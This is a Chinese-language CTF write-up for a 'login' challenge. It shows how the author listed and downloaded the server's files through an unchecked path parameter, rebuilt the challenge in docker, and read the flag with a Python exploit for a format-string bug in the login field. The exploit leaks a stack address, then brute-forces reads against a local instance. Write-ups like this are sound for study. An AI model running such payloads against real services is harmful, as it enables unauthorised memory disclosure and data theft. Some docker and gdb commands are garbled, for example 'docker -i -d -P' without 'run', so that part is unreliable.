login

当初比赛的时候,一连上去还以为要传马,试了半天结果没反应然后开始坐牢

泄露环境

随便输入然后登录

最好是随便

然后进file manager,开始审源码(pwn?web!)

发现有个view_file和list_files函数,view_file有个参数path_name,但是url添上路径后无事发生。再尝试一下在list_files后门也加path_name(/),神奇的一幕出现了!根目录所有文件都出来了,点击链接就是下载这些文件。

具体过程可以在ida里看到,这里不细嗦了x

总之我们现在是拿到环境了,接下来就是本地部署环境。

本地环境部署(docker部署pwn题)

这一步我主要看的是9man师傅的博客。

在上一步把这些东西全都下载下来然后放到一个文件夹中

我这边没改run.sh文件,所以到时候程序不会将flag文件open并读到堆上,但是栈上有设置的环境变量flag,所以差不多

1.构建镜像

sudo docker build -t login .

#在这个文件夹里开启终端,dockerfile在这里

#记得要有最后那个点

2.检查镜像是否构建成功

sudo docker image

3.建立容器

sudo docker -i -d -P login

#-P参数是映射到随机空闲高端口,也可以用-p来指定端口

4.查看建立的容器信息

sudo docker ps -all

5.停止容器

sudo docker stop {docker ps之后看到的容器id}

6.删除容器

sudo docker rm {容器id}

7.查看pid(用于gdb调试)

ps -ef | grep 'login'

8.调试

sudo gdb attach {第七步查到的端口号}

然后就可以本地运行调试了。

Get flag!

可以看到上面我在登录时用了格式化字符串,然后ida看到第108行

栈上格式化字符串漏洞,又因为flag会被读到堆上(我这里直接看栈),直接任意地址读flag就完了。

先贴exp:

import requests
import re
from pwn import *
payload1=b'%15202$p'
params={'user':payload1,'password':'1'}
response=requests.get('http://127.0.0.1:32774/login',params=params)
print('GET response:', response.text)
stack=re.findall(r'0x([0-9a-fA-F]+)',response.text)
stack=int(stack[0],16)
print('stack=',hex(stack))

flag=stack+0x2003
while flag:
	flag=flag+0x8
	print('flag=',hex(flag))
	payload2=b'aaa%36$s'+p64(flag)
	params={'user':payload2,'password':'1'}
	response=requests.get('http://127.0.0.1:32774/login',params=params)
	if re.findall('flag',response.text):
		break
print('GET response:', response.text)

用了一点简单的requests和re模块的内容

底下的while循环是因为泄露的栈地址与flag地址偏移会发生变化,但是flag地址的最低一位好像一直是3(?),所以就直球爆破。

浇浇我,我什么都会做的